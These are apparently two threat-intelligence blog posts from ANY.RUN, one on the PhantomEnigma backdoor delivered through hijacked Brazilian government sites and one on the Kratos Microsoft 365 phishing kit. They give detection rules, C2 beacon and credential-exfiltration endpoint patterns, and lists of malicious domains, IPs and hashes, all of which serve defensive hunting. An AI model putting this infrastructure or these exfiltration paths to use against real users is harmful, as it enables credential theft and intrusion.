Based on this evidence, ANY.RUN assesses with high confidence that the observed campaign is real and primarily focused on Brazil. 

The connection between the specific Inno/Node.js backdoor arm and PhantomEnigma is assessed with medium-high confidence. The build chain, infrastructure, targeting, and backdoor behavior provide strong supporting evidence, but limited public research currently connects the PhantomEnigma name directly to this Boostnote-based backdoor.

ANY.RUN analysts identified 231 sandbox analyses sharing the broader build pattern. Within this group, approximately 108–125 analyses also contained stronger PhantomEnigma indicators. This more tightly attributed core forms the basis of the campaign assessment, while the wider cluster provides additional coverage for threat hunting.

The Ofício-PC activity is also linked to the wider operation with medium-high confidence based on shared compromised government hosts, matching Polícia Civil lures, and supporting delivery evidence. Adjacent help.bat and StealC clusters were kept separate because the available evidence did not support a confident operator-level connection. 

This approach allows defenders to track related activity broadly while maintaining clear boundaries around what can be directly attributed to PhantomEnigma.

Detection and Monitoring Recommendations 

Security teams can use the following methods to detect current PhantomEnigma activity and track new infrastructure as the campaign evolves.

1. Analyze suspicious files and links in an interactive sandbox 

Do not stop at an initial clean verdict. Inspect dropped files, process activity, persistence mechanisms, network requests, and second-stage payloads. 

Check PhantomEnigma analysis 

Re-detonating a sample can also reveal behavior that did not appear during the first analysis, particularly when infrastructure was temporarily unavailable or the malware delayed execution. 

2. Hunt for the malicious index.js backdoor with YARA 

Focus on the recovered backdoor code rather than relying only on domains, file names, or hashes that may change. 

The strongest YARA rule combines several recurring characteristics: 

• The JSON.stringify() beacon structure 
• COMPUTERNAME and USERNAME collection 
• The String.fromCharCode decoding method 
• Persistence through setLoginItemSettings 

A byte-level rule identified one additional related sandbox analysis outside the original dataset. A broader rule combining Boostnote and the malicious index.js pattern identified six analyses involving .gov.br infrastructure, with no unrelated matches in the reviewed dataset. 

These rules should initially be used for investigation and threat hunting until they are tested against a wider sample set. 

3. Detect beacon traffic with Suricata 

Create monitoring alerts for the following patterns in plaintext or decrypted HTTP traffic: 

• /laravel.php?api=api&hash= 
• &message=PT1n 

The /laravel.php pattern appeared in 16 sandbox analyses and produced no unrelated matches in the reviewed dataset. 

These signatures should first be deployed in monitoring mode so teams can validate them against normal network traffic before using them for automated blocking.

4. Correlate build-chain and network behavior 

Escalate activity when the recurring PhantomEnigma build chain appears together with one or more network indicators, such as: 

• A /laravel.php beacon 
• A known RAILNET IP address 
• A system hostname transmitted in a POST request 

This correlation identified 59 sandbox analyses and revealed malicious network behavior in nine analyses that had initially received clean verdicts. 

5. Monitor for new compromised government infrastructure 

Use the following TI Lookup query to identify activity involving newly compromised Brazilian government hosts: 

domainName:”.gov.br” AND threatName:”nodejs” AND threatName:”inno*” 

Running this search regularly can help teams detect new delivery infrastructure as the operator moves between compromised hosts. 

6. Add validated indicators to security controls 

Send confirmed C2 domains, IP addresses, URLs, and file hashes to SIEM, SOAR, EDR, and network security tools through Threat Intelligence Feeds. 

Compromised .gov.br and .jus.br hosts should be handled separately from attacker-controlled infrastructure. These are legitimate services that have been compromised, so blocking them broadly could disrupt access to government resources. 

Combining sandbox evidence, YARA hunting, network detection, TI Lookup, and threat intelligence feeds can help security teams uncover related activity earlier, investigate clean verdicts more effectively, and reduce delays in containment.

Strategic Recommendations for Security Leaders 

PhantomEnigma demonstrates how modern campaigns can evade traditional security processes by combining trusted infrastructure, modular malware, and rapidly changing delivery paths. Reducing business risk requires more than adding new IOCs—it requires improving how investigations are prioritized and connected. 

Review how “clean” verdicts are escalated. 
Nearly one-third of the analyzed activity initially received a clean verdict. Establish clear escalation criteria for suspicious files delivered through trusted infrastructure, even when automated detections do not classify them as malicious. 

Prioritize behavioral evidence over infrastructure alone. 
Domains, IP addresses, and URLs can change within days. Detection strategies should also include recurring malware behavior, execution chains, persistence mechanisms, and network patterns that remain stable across campaign updates. 

Treat trusted infrastructure as a potential attack vector. 
Compromised government portals and legitimate email accounts can bypass traditional trust-based controls. Ensure security teams validate the behavior behind trusted senders and domains instead of relying solely on reputation. 

Correlate investigations across security solutions. 
Email alerts, endpoint activity, sandbox analysis, and threat intelligence should contribute to a single investigation. Fragmented workflows make coordinated campaigns appear as isolated incidents, delaying containment and increasing response costs. 

Continuously monitor campaign evolution. 
As attackers rotate infrastructure and update malware, detection logic should evolve as well. Regularly review new infrastructure, delivery techniques, and malware variants to prevent existing detections from becoming outdated. 

Organizations that combine behavioral sandbox analysis with continuously updated threat intelligence can identify coordinated campaigns earlier, reduce investigation time, and limit the operational and financial impact of evolving threats. 

What to Expect Next 

Weekly C2 rotation is likely to continue. New random .com domains may replace psznaoehteeh[.]com, while more police-themed typosquats may appear. One candidate, oficiospolicia[.]com, is already surfacing. 

The compromised .gov.br delivery network may also continue to grow. At least 20 hosts have been observed, showing that the operator still relies on compromised government infrastructure to make malicious activity appear more trustworthy. 

Detection may improve, but the visibility gap is unlikely to disappear. Plaintext HTTP beacons are relatively easy to identify, but the operator can move behind HTTPS and Cloudflare, as already seen with /nbw/. When this happens, domains and network paths become less useful, while build-chain analysis and YARA-based detection remain effective. 

There is also a possibility that the GitHub-to-StealC and ClickFix activity belongs to the same operator. If future evidence confirms this link, PhantomEnigma’s capabilities would be broader than currently assessed. 

Security teams should therefore avoid relying on domain blocklists alone. Continuous sandbox analysis, TI Lookup monitoring, YARA hunting, and fresh threat intelligence feeds can help detect new infrastructure, review clean verdicts, and keep protection current as the campaign changes.

Conclusion 

PhantomEnigma remains difficult to track because its infrastructure changes faster than its code. Domains rotate weekly, compromised government portals change over time, and some malicious samples still receive clean verdicts. The most reliable signal is the recurring build chain: a Delphi-compiled Inno Setup installer that deploys a patched Electron application containing an obfuscated index.js backdoor. 

Using ANY.RUN’s Interactive Sandbox and Threat Intelligence, our analysts connected activity spread across clean verdicts, rotating infrastructure, and several delivery arms. Sandbox analysis exposed the execution chain, dropped files, persistence, and live network behavior, while TI Lookup and YARA helped identify related activity beyond known domains and file hashes. 

The investigation also showed why careful attribution matters. Shared tools, hosting providers, or naming patterns are not enough to prove that separate clusters belong to the same operator. By combining code-level evidence, infrastructure analysis, vendor corroboration, and live re-detonation, ANY.RUN analysts documented a second PhantomEnigma beacon generation not covered in previous public research. 

Security teams can apply these findings to hunt for the stable build chain, investigate clean analyses with matching network behavior, monitor compromised government infrastructure, and add validated C2 indicators to their security controls. ANY.RUN provides the sandbox visibility and threat intelligence needed to detect related activity earlier, shorten investigations, and contain compromise before it creates wider business impact. 

About ANY.RUN 

ANY.RUN is a leading provider of interactive malware analysis and threat intelligence solutions trusted by more than 15,000 organizations worldwide, including 74 of the Fortune 100. 
Its Interactive Sandbox and Threat Intelligence solutions help SOC teams analyze suspicious 
files and URLs, uncover malicious behavior, enrich alerts with actionable context, and connect related activity across files, infrastructure, and campaigns. This enables faster investigations, more confident response decisions, and earlier containment of threats before they create wider business impact. 

MITRE ATT&CK

IOCs & Artifacts 

Compromised gov domains: 

Compromised gov URLs: 

• hxxps://arcese.urlsand.com/?u=hxxps%3A%2F%2Fcamaraparaguacu.sp.gov[.]br%2Foficio%2Fx2eDBGceCF&e=dd4b7717&h=be3cf1fa&f=y&p=y&m=4gql0c4CXBz334D  

• hxxps://camaradelassance.mg.gov[.]br  

• hxxps://camaraparaguacu.sp.gov[.]br/doc  

• hxxps://camaraparaguacu.sp.gov[.]br/doc/DcUXKm/S7q88t  

• hxxps://camaraparaguacu.sp.gov[.]br/doc/DzAe8Sxvca  

• hxxps://camaraparaguacu.sp.gov[.]br/doc/i00hqHrGFr  

• hxxps://camaraparaguacu.sp.gov[.]br/doc/js[.]brnUl8Z  

• hxxps://camaraparaguacu.sp.gov[.]br/doc/naNXNW0tQ7  

• hxxps://camaraparaguacu.sp.gov[.]br/doc/R0RU5TEpc2  

• hxxps://camaraparaguacu.sp.gov[.]br/doc/wsVPWyP0iL  

• hxxps://camaraparaguacu.sp.gov[.]br/oficio/mGeI1KrXIT  

• hxxps://cas5-0-urlprotect.trendmicro.com/wis/clicktime/v1/query?url=hxxps%3a%2f%2fpoa.sp.gov[.]br%2fdown.php&umid=a1a41f4a-228b-4622-9a1f-5fd4cbc68d26&rct=1779114363&auth=18576cf8abd7812271cef15c8c401c7207caa231-a9e499076e60cd525b23d7c667f1929bc0a9b294  

• hxxps://circ.rs.gov[.]br/OficioDigital.exe  

• hxxps://condemat.sp.gov[.]br/certificate/APL3SJ9e/723406349/  

• hxxps://ferrazdevasconcelos.sp.gov[.]br/down.php  

• hxxps://floresdegoias.go.gov[.]br/levantamento/v6aq7x/prm9yG  

• hxxps://lontra.mg.gov[.]br/arquivo.php  

• hxxps://marapoama.sp.gov[.]br/doc/4h7Bae/Mn9K3N  

• hxxps://marapoama.sp.gov[.]br/documento/L5fHnY/d13mLf  

• hxxps://marapoama.sp.gov[.]br/levantamento/M5nkwP/dM0CgC  

• hxxps://marapoama.sp.gov[.]br/oficio/LA9ks3d/ldo9JodAS/vYnerL/fkeA5r  

• hxxps://poa.sp.gov[.]br/doc/k9l00oFolA/4mZKTCE4ex  

• hxxps://poa.sp.gov[.]br/doc/KhDvexT9QX/t4iVaErskj  

• hxxps://poa.sp.gov[.]br/doc/wBvCEwP3tO/oSKmMKG1sw  

• hxxps://poa.sp.gov[.]br/documento/3QFKMM71/527058494/  

• hxxps://poa.sp.gov[.]br/download/7552PRc3/544840142/  

• hxxps://poa.sp.gov[.]br/oficio/anexo/VQC7WEcf  

• hxxps://protocolo.sorocaba.sp.gov[.]br/protocolo/kitsigns.jsp?yd=DtmcOmPD4GdPF9H06LU6tVN8lm2467QxWGDEOmFL0qWjScIylunV8re%2B0cZMiJ6O  

• hxxps://protocolo.sorocaba.sp.gov[.]br/protocolo/signkit.jsp?yd=5F8bz2Lapfi%2Bf41ZRmsNAtfvOls6zkkpOSPYO4UqALf0x8Hv%2BZcPRgcBznBl0tH  

• hxxps://url.de.m.mimecastprotect.com/s/cFJoCr2PqncDzNRl7U7fmf4fQ3q?domain=camaraparaguacu.sp.gov[.]br  

• hxxps://www.funrespol.pc.ro.gov[.]br/procedimento/aQbax7Lq4R  

• hxxps://www.pinhalgrande.rs.gov[.]br/down.php 

Malicious domains: 

Load-bearing indicators: 

• Fingerprint: tags delphi ∧ inno ∧ installer ∧ nodejs 

• Backdoor protocol: */laravel.php?api=api&hash=*&message=PT1n* (GET, base64 in URL) and POST */nbw/ (JSON [id, COMPUTERNAME, USERNAME, tag]; 

• Beacon C2: 185.219.83[.]191, 188.137.246[.]189 (AS214943 RAILNET). 

• Delivery C2: policiacivilmg[.]com, dahieenloo[.]com, pccvill[.]com, pccvioo[.]com, taaeiuep[.]com, psznaoehteeh[.]com, eeresofeuae[.]com, zsxocjarsate[.]com. 

• Origin: 158.94.208[.]120 / 91.92.241[.]181 (AS202412 OMEGATECH-AS, Seychelles). 

• Anchor hash: Procuracao_Digital.exe sha256 e0dae1a04b7a3b2ae07377b0fd00681e9633532788870b3709a9e149f3ccf0e0. 

• Dropped backdoor hash: index.js sha256 71f6997866…2ab71c.

• Sibling arm: novoservidor2026[.]com + KalebAutoRun (21/21 malicious, disjoint). 

• Ofício delivery arm: zabbxsoftware[.]com, oauth.openvpnet[.]com (rotated kit / CS C2), 195.177.94[.]103 / .193, 79.110.49[.]32; CS/Shellter loader 7de52b73…296e1f64. 

• Compromised delivery: timon.ma.gov[.]br, protocolo.sorocaba.sp.gov[.]br, prodoc.ap.gov[.]br, portaldrh.tjba.jus[.]br, marapoama.sp.gov[.]br,poa.sp.gov[.]br, loginam.sesp.es.gov[.]br, aplicacao.cbm.mt.gov[.]br. 

Example detonations: 

• https://app.any.run/tasks/b842921c-adbb-4286-a174-a8dc69450d32 (representative core; beacons live to 185.219.83[.]191 yet verdict = clean) 

• https://app.any.run/tasks/ed34b2bd-123f-4463-9c75-856118618c29 ; live POST zsxocjarsate[.]com/nbw/, verdict Malicious) 

• https://app.any.run/tasks/41ce7f62-d97e-4c84-9f70-dfb5fafcfb39 (C2 beacon pierces Cloudflare, reaching the OMEGATECH origin) 

• https://app.any.run/tasks/2803b131-be65-428a-b00d-4217c55dd605 (.gov[.]br delivery) 

Sources:

• Positive Technologies (PT‑ESC), Operation Phantom Enigma, https://global.ptsecurity.com/en/research/pt-esc-threat-intelligence/operation-phantom-enigma/: actor, Brazil-first victimology, extension-banker arm. 

• Positive Technologies (PT‑ESC), Phantom in the flesh: new attacks by Phantom Enigma, https://global.ptsecurity.com/en/research/pt-esc-threat-intelligence/phantom-in-the-flesh-new-attacks-by-phantom-enigma/: getloader.php, KalebAutoRun, MSI banker  

• The Hacker News, Malicious Browser Extensions Infect Over 722 Users Across Latin America (2025‑06): 722-install corroboration. 

• abuse.ch ThreatFox: taaeiuep[.]com INNOSETUP+ProcuracaoDigital+brazil (conf 75) and 45.141.119[.]188 win.stealc, hxxps://threatfox.abuse[.]ch. 

• ANY.RUN Threat Intelligence, the PhantomEnigma boostnote/Node.js/DGA-arm writeup (hunt seed): the only source naming the boostnote/laravel.php arm. 

• Ofício-PC arm: Polícia Civil SC public QR-summons alert; ANY.RUN agenteV2 blog 

Special Thanks 

We would like to thank Rifteyy, an Independent Malware Analyst, for sharing an interesting lead that helped set this investigation in motion. The tip gave our researchers a valuable starting point for further analysis and validation.

ANY.RUN supports open collaboration across the security community. If you have relevant samples or would like to work with us on a joint investigation, contact our team. By sharing expertise and findings, we can expose malicious activity faster and make the threat landscape safer for everyone. 

The post Hidden Infrastructure Exposed: ANY.RUN Reveals Hijacked Gov Websites Delivering Malware  appeared first on ANY.RUN's Cybersecurity Blog.

ANY.RUN researchers traced three generations of the kit, uncovered 1,484 previously unattributed detonations, and mapped its infrastructure, operator panel, and victim patterns. This article gives security teams practical fingerprints, exfiltration indicators, SIEM scoring rules, and response guidance to reduce exposure, speed up investigations, and make faster decisions when Kratos activity appears.

Key Takeaways

• Kratos is a turnkey phishing kit built to steal Microsoft 365 credentials and sold through a subscription model. Operator-side intelligence, including its admin panel and automated deployment features, shows that it operates as a full Phishing-as-a-Service (PhaaS) platform.
• ANY.RUN researchers identified 1,628 sandbox sessions across the two main Kratos generations. Only 156 had been manually tagged as Kratos, while 1,484 had not yet been attributed to the family. An earlier V0 branch adds another nine sessions.  
• Kratos targets organizations across more than 20 countries, including the US. This research identified 148 suspected victim organizations, with a particularly strong concentration in US, Spain and Southern Europe.
• ANY.RUN was already detecting the malicious activity through generic phishing-kit signatures. The new technical fingerprint added family-level attribution, making it possible to track Kratos activity, run retrospective hunts, and build a clearer view of the wider operation. 
• Two page assets became the key hunting indicator: barr.svg and lg.svg. They almost always appear together and are rarely seen separately. This single fingerprint provides 90% recall with a false-positive rate close to zero.
• Kratos has evolved through three page generations: V0, V1, and V2. Each uses different exfiltration code, and the kit continues to develop.
• Kratos has been visible in the ANY.RUN sandbox since January 2026. External data suggests that its operator panel has been active since September 2025.
• Operator-side OSINT uncovered an active Kratos admin panel. The service allows operators to deploy phishing domains in a few clicks, configure Telegram or email delivery, apply geographic restrictions, and choose between several anti-bot systems.

Victimology: Kratos Targeting US and European Organizations 

Microsoft 365 is the main brand impersonated by Kratos. In total, 1,365 sandbox tasks led to login.live.com or microsoftonline.com, while 412 were classified as “Fake Microsoft Authentication Page”incidents.

Previous public research has documented Kratos activity across more than 20 countries, with around 33% of observed targeting linked to the United States. This confirms that the service has a broadinternational reach and poses a direct risk to US organizations. 

TI Lookup query: threatName:”kratos” 

ANY.RUN data adds a more detailed view of activity in Europe. We identified 148 suspected victim organizations based on SharePoint tenant names found in phishing lures. The targeting appears opportunistic and spans a wide range of sectors, including SMBs, law firms, schools, polytechnic institutions, industrial organizations, and others. 

The strongest concentration in our dataset was in Southern Europe, particularly Spain. This assessment is based on the ccTLDs of suspected victim organizations, the language used on phishing pages, and the brands and services impersonated by attackers.

This geographic pattern does not suggest that Kratos is limited to Europe. Instead, it indicates that some affiliates represented in the sandbox data appear to specialize in Spain and Southern Europe. Spanish-language tokens found in URL paths, including factura, abogados, and dgt, provide further evidence of this regional focus.

How Kratos Turns Account Compromise into Business Risk 

A stolen Microsoft 365 account can give attackers more than access to one inbox. It can create a trusted route into company data, financial processes, and relationships with employees, customers, and suppliers. 

• Trusted-account abuse: Attackers can impersonate employees and use a legitimate mailbox to make fraudulent requests appear credible. 
• Financial fraud: Access to invoices and payment conversations can support BEC, payment redirection, and supplier fraud.
• Data and partner exposure: Corporate email, SharePoint, and OneDrive may contain sensitive business data and information about third parties.
• Longer, costlier response: If attackers gain session access, changing the password alone may not remove them, increasing containment time and recovery costs.

How Kratos Attack Works: From Phishing Email to Stolen Password

Kratos rarely targets victims directly. The attack chain typically works as follows: 

1. Phishing email → often passes through corporate email filters
   In 114 analysis sessions, the emails had already passed through corporate email filters or secure email gateways before being submitted to the sandbox.

Common subject lines include: 

• “User N has shared a document with you” 
• “Sign the document via DocuSign” 
• “An invoice has been sent” 

2. Trust-building lure: a link to a legitimate service 

• Microsoft SharePoint or OneDrive, the main delivery vector observed in 351 tasks 
• Canva, Tilda, systeme.io, and Microsoft Forms used as intermediary pages 
• Legitimate file-sharing services hosting phishing PDFs 

3. Redirect to a Kratos phishing page 

4. Cloudflare Turnstile verification 
   Victims are asked to prove that they are not bots. This step helps filter out sandboxes and automated scanners. 

5. Fake Microsoft 365 login page 
   Before the login form appears, the victim sees Kratos’s distinctive animated envelope screen with the message “Loading in progress…” 

6. Credential theft → POST request to a PHP endpoint 

• V1: next.php 
• V2: save.php 
• V0: /PTT/SOft/mini.php 

Some sessions also establish a WebSocket connection. This may indicate possible adversary-in-the-middle activity or live credential relaying, but a WebSocket connection alone does not prove sessiontheft.

One visual detail makes Kratos particularly recognizable: before displaying the login form, the page shows an animated envelope with the message “Loading in progress…” over a blurred invoice ordocument. The browser tab is also almost always titled Authentication.

These details may seem minor, but together they form a consistent and reliable fingerprint.

Check Kratos phishing attack and get relevant IOCs 

The victim is given only three attempts to enter a password. After that, they are either redirected to a predefined URL, office.com in V1, or shown an “incorrect password” message.

ANY.RUN’s in-browser data investigation reveals this logic directly in the page code. Analysts can see the submitData() function sending the di and pr values to next.php, the redirect to office.com, and the handling of the #pass-err element. This confirms that the behavior is intentional and designed to filter out invalid or random submissions. 

Evolution: Three Generations of Kratos 

Kratos is not a static phishing kit. Based on public industry reports and ANY.RUN research, we identified three generations of its phishing pages. Each can be recognized by a distinct set of files and, more importantly, by its own exfiltration code:

Check relevant ANY.RUN sandbox sessions: 

• V0: PTT/SOft 

• V1: Dominant generation 

• V2 generation 

The evolution of Kratos’s disguise is easy to see. V0 presents itself as a “Secure File Access” page, shown in the screenshot below. It asks the victim to verify their email address to open a document, with a blurred Excel invoice displayed in the background.

Starting with V1, shown in the screenshot below, the kit moves to direct brand impersonation, closely replicating the Microsoft Sign In window. According to comments in the code, the goal of these changes was to make the page resemble Microsoft’s login window more closely and restructure the code to evade existing vendor signatures.

Most importantly, the three generations appear to belong to the same Kratos service rather than three separate actors. The link between V1 and V2 is particularly strong at the operator level: 

• The same domains, including razen[.]online, theoceanac[.]online, jumpast[.]es, and enerdizerandtron.de, serve both V1 and V2 pages. 
• The lg.svg file used in V1 is byte-for-byte identical to dsa.svg in V2. 
• A shared hash for the styles.css file, loaded by the fake Microsoft Sign In page, connects 636 tasks across both generations. 

Check this TI Lookup query based on the lg.svg and styles.css hashes: 

SHA256:”c447e75f1029ed7a5882add16bcd13ad44be3bd47c93c830ff39185e23d25ebb” AND SHA256:”cd231b895bbcd7154b81df1e065bf02f1ec667b920c8b6d23308cd509833b5ea” 

Here is also an example of the V2 login page: 

The Investigation: How One Indicator Exposed the Entire Campaign

We started with the data already available to us: 156 analysis sessions that had been tagged as Kratos. After examining their network traffic in detail, we noticed that the browser loaded nearly the same setof page assets from the /assets/ directory on almost every landing page. Two files had particularly unusual names: barr.svg and res.css.

The next step was simple but important: we checked how exclusively these files appeared together.

• barr.svg and lg.svg in the same session: 1,397 times 
• lg.svg without barr.svg: 2 times 
• barr.svg without lg.svg: 12 times 

Even before our hunt, the ANY.RUN engine had already been detecting these pages with generic signatures. The numbers below refer to signature detections, not individual sessions:

• PHISHING [ANY.RUN] Generic Phishkit related URL chain observed (/assets/img/*) — 866 
• PHISHING [ANY.RUN] Generic Phishkit exfil activity observed (/next.php) — 232 
• PHISHING [ANY.RUN] Domain chain identified as Phishing (challengepoint) — 495 

In other words, the activity had been detected all along, but only through generic Generic Phishkit signatures. The analysis sessions remained hidden within that broader category because they had not yetbeen attributed to a specific family. Our fingerprint closed this attribution gap by linking the generic phishing-kit activity to Kratos.

The current detection engine also includes Kratos-specific signatures, such as Kratos related URL chain observed, Kratos exfil activity, and Xbit Setter for barr.svg.  

This enables security teams to run retrospective hunts, group related activity and create more accurate detection rules without relying on short-lived domains alone. 

Behind the Scenes: How the Kratos “Business” Operates 

The sandbox reveals the victim side of the attack. But Kratos also has an operator-facing side, which we were able to investigate through OSINT. 

How We Located the Panel 

Victim-side sandbox analysis does not expose the panel because it is designed for operators. However, every web panel has a favicon.

By searching public internet indexes for services whose page titles contained the word Kratos, we identified a distinctive icon in the favicon results: a stylized Kratos logo.

The icon led to active Kratos login panels displaying “© 2026 Kratos” and the message “Enter the realm of power.”This was an operator-side finding, not a conclusion drawn from victim-side sandbox data.

The service includes the following components, based on operator-side OSINT, public industry reports, and ANY.RUN research. The panel has been active since at least September 10, 2025:

• Main domain: A central dashboard showing users and sales statistics. 
• deploy.* subdomain: Used to deploy phishing domains to a VPS in just a few clicks. The panel’s component code shows that operators can: 
• Choose between a “PHP-based Office 365 page”, which uses a traditional PHP backend, and a “Node.js redirect server with anti-bot”, which functions as a reverse proxy with anti-bot protection and an admin dashboard. 
• Upload page files. 
• Install SSL certificates. 
• Modify DNS records. 
• Execute commands on the server. 
• Manage VPS status. 

• API component: The panel code directly exposes the following endpoints: /vps/* for CRUD operations, health checks, and cleanup, /domains/* for DNS verification, SSL installation, and SSL virtual host configuration 

• Data delivery settings: Operators can choose between a Telegram bot and email. Stolen data is packaged as JSON and sent to the attacker’s Telegram channel. This configuration is handled server-sideand is not visible in victim-side traffic.
• Anti-bot protection: Operators can choose between reCAPTCHA, Cloudflare Turnstile, and hCaptcha.
• Geographic restrictions: Country-based whitelisting is handled through geoplugin.net.
• Panel protection: The admin panel itself is protected with a master password and Telegram-based two-factor authentication.

Infrastructure and Affiliate Fingerprints 

Kratos deployments fall into several clear clusters: 

• Newly registered, randomly named domains on low-cost TLDs such as .horse, .cfd, .sbs, .today, .fit, and .online: 235 deployments linked to disposable attacker infrastructure.
• Compromised legitimate websites, mainly German .de and Spanish .es domains, often running WordPress: 140 deployments. In these cases, the kit is usually placed in a subdirectory such as /factura/.
• *bgados* subdomains, derived from the Spanish word abogados (“lawyers”), suggesting a legal-themed lure.
• *files* and *docs* subdomains with 64-character paths, associated with document-themed lures. 
• Wildcard domains such as klenpare.com, uvarnix.cfd, and xavon.sbs, which rotate through randomly generated subdomains.

The front end is almost always hidden behind Cloudflare, while the actual origin infrastructure is hosted on standard cloud providers such as Azure, Google Cloud, and Host4Geeks.

The infrastructure patterns suggest that several affiliates may be operating in parallel. Persistent tokens found in URL paths provide indirect evidence of these different affiliate fingerprints:

It is important to note that this is proxy-based segmentation, not confirmed actor attribution. The true actor-level identifier, the Telegram bot or email address that receives the stolen data, is configured server-side through the same panel.

Kratos also shares hosting infrastructure with other AiTM phishing kits, including Tycoon, Flowerstorm, Sneaky2FA, and EvilProxy. The same VPS servers, and sometimes even the same SharePoint pages, mayhost vax/qen DGA families, Spanish-language kits, and other campaigns behind the same Cloudflare infrastructure.

However, their code is different, and neighboring domains do not serve barr.svg. At the analysis level, there is no overlap between Kratos tags and these other families.

A shared IP address confirms co-hosting, but it does not prove that the campaigns are operated by the same actor. Kratos should therefore be tagged only when its asset pattern is present. Otherwise, unrelated campaigns may be incorrectly attributed to the family.

How to Detect Kratos: Ready-to-Use Detection Methods 

Kratos can be identified through a combination of asset fingerprints, content hashes, exfiltration endpoints, engine signatures, and browser-level behavior. 

1. Asset Fingerprint 

This is the primary detection method, with 90% recall and a false-positive rate close to zero in negative-control testing. 

• V1: HTTP requests to both */assets/img/barr.svg and */assets/img/lg.svg within the same sandbox analysis session 

• V2: HTTP requests to *dsa.svg, *sid.gif, and *imag.jpg within the same session 

2. Asset Content Hashes 

These hashes remain useful even when the files are renamed: 

• lg.svg     = cd231b895bbcd7154b81df1e065bf02f1ec667b920c8b6d23308cd509833b5ea 
• barr.svg   = 949895df17148c5ea29f190d2619a14b3ec648425b9cc3c5a1423553c16f3898 
• ani.gif    = 9d1a1a5e3b5e5de8a6c76ded7a01fa01709d426232b0048c9ee6ba0c5c1b8b42 
• styles.css = c447e75f1029ed7a5882add16bcd13ad44be3bd47c93c830ff39185e23d25ebb 

The styles.css hash connects 636 tasks across V1 and V2. 

3. Exfiltration Endpoints 

• V0: */SOft/mini.php 
• V1: */next.php, */nex.php, */n3xt.php, */officers*eur.php 
• V2: */save.php 

4. Existing ANY.RUN Engine Signatures 

These signatures can already be used to trigger retrospective detection: 

• PHISHING [ANY.RUN] Kratos related URL chain observed  (M1 / M2 / M3 / Docusign Variant) 
• PHISHING [ANY.RUN] Kratos exfil activity observed (M1) — /next.php 
• PHISHING [ANY.RUN] Kratos exfil HTTP activity observed — /SOft/mini.php 
• NOALERT [ANY.RUN] Xbit Setter for barr.svg / lg.svg / ani.gif / bg.png 

5. In-Browser Data Investigation 

ANY.RUN’s in-browser data investigation helps analysts confirm how the phishing page behaves after it loads. Inside the sandbox, they can inspect the page code, loaded assets, DOM changes, redirects, and network requests without relying only on the initial page appearance. 

 For Kratos, this makes it possible to see: 

• The submitData() function and the di and pr parameters 
• POST requests to endpoints such as next.php or save.php 
• Password-attempt handling through the #pass-err element 
• Redirects to predefined destinations such as office.com 
• Obfuscated scripts and the logic used to send stolen credentials 

This browser-level view helps confirm that the page is part of the Kratos family and gives analysts evidence they can use for triage, hunting, and response. 

6. Behavioral Indicators 

Additional behavioral signs include: 

• Cloudflare Turnstile, identified as challengepoint 

• DOMPurify 3.2.6 

• The “Fake Microsoft Authentication Page” incident 

• WebSocket activity in some analysis sessions 

WebSocket activity should be treated as a risk indicator, not as proof of an AiTM attack. 

SIEM Scoring Rule 

Instead of using a simple binary match, apply a cumulative scoring model to assign confidence levels:

Recommendations for Defenders 

Use a tiered response model instead of blocking everything by default. 

Infrastructure Response 

• Disposable attacker-controlled domains, including DGA domains, should be blocked.
• Shared parent domains such as crm-technik.de, klenpare.com, and uvarnix.cfd should be blocked only after review, as they may also host legitimate subdomains.
• Compromised legitimate websites should be reported for takedown rather than blocked outright.
• Cloudflare edge infrastructure and broad ASNs should be monitored, not blocked.

Response to Account Compromise 

The response should also depend on the type of credential theft observed. 

• For a basic credential harvester, reset the user’s password and verify their MFA settings.
• For confirmed or likely AiTM activity, such as reverse-proxy behavior, spoofing of login.microsoftonline.com, cookie or session relaying, or a suspicious authentication-relay endpoint, revoke activesessions and refresh tokens.

A password reset alone may not be enough if the attacker has already obtained a valid session. 

Email and Link Analysis 

Analyze suspicious links using both static verdicts and observed behavior. Train employees not to open suspicious links and to submit them to the internal security team for review.

When needed, use the ANY.RUN interactive sandbox to investigate the link safely. Never enter real authentication credentials during analysis.

Recommendations for CISOs and SOC Leaders 

Kratos shows how credential phishing can remain visible as isolated detections without being understood as a wider operation. Security leaders should make sure their teams can connect technical evidenceto business risk and take consistent action before one compromised account becomes a broader incident.

• Measure time to confident attribution, not only time to detection. Detecting phishing is important, but linking related activity helps teams understand campaign scale, affected users, and business exposure.

• Add browser-level investigation to phishing workflows. Give analysts visibility into page code, redirects, DOM changes, and credential-exfiltration behavior that may not appear in static analysis.

• Define separate response playbooks for credential harvesting and AiTM activity. Password resets may be enough for a basic harvester, while suspected session theft requires session and refresh-token revocation.

• Turn Kratos indicators into repeatable controls. Add asset fingerprints, hashes, exfiltration endpoints, and confidence scoring to SIEM, SOAR, and retrospective hunting workflows.

• Avoid broad infrastructure blocking. Shared cloud, Cloudflare, and compromised legitimate domains require targeted review to reduce disruption and unnecessary business impact.

Conclusion 

Kratos shows how a single stolen Microsoft 365 account can create wider business risk, from fraud and data exposure to costly incident response. Its repeatable assets and infrastructure patterns givesecurity teams a practical way to detect the kit earlier, connect related activity, and respond with greater confidence.

By combining sandbox analysis, browser-level evidence, and family-level attribution, organizations can reduce investigation time, avoid unnecessary blocking, and contain account compromise before itdevelops into a larger incident.

About ANY.RUN 

ANY.RUN, a leading provider of interactive malware analysis and threat intelligence solutions, helps organizations investigate threats faster and make response decisions based on clear behavioral evidence.  

Its solutions include the Interactive Sandbox for enterprise-scale malware and phishing analysis, along with Threat Intelligence products built on investigation data from more than 15,000 organizations. This intelligence helps security teams enrich alerts, uncover active threats earlier, and add relevant context to detection, investigation, and response workflows.  

ANY.RUN is SOC 2 Type II attested, demonstrating its commitment to strong security controls and customer data protection. For SOCs, MSSPs, and enterprise security teams, the platform helps reduce investigation uncertainty, accelerate triage, and turn threat analysis into actionable findings. 

IOCs and Artifacts 

• Fingerprint: */assets/img/barr.svg + */assets/img/lg.svg for V1; *dsa.svg + *sid.gif + *imag.jpg for V2 

• Exfiltration: */next.php, */save.php, */officers*eur.php, and POST requests to */PTT/SOft/mini.php 

• Early domain: dwbud.vilaribit.com for V0 (/PTT/SOft) 

• Operator IP: 41.128.0.142 (Egypt) 

• abal[.]my 

• starwellmedia[.]com 

• aabiz[.]de 

• aspireglobal[.]ltd 

• buenne[.]de 

• dufllot[.]sbs 

• enerdizerandtron[.]de 

• espaciocf[.]de 

• ihrsupportcenter[.]de 

• ilersls[.]org 

• aaalen[.]de 

• rundwasser[.]de 

• smartcontrolengineer[.]com 

• sonnenbrillenspot[.]de 

• trisrnareprjdocz[.]com 

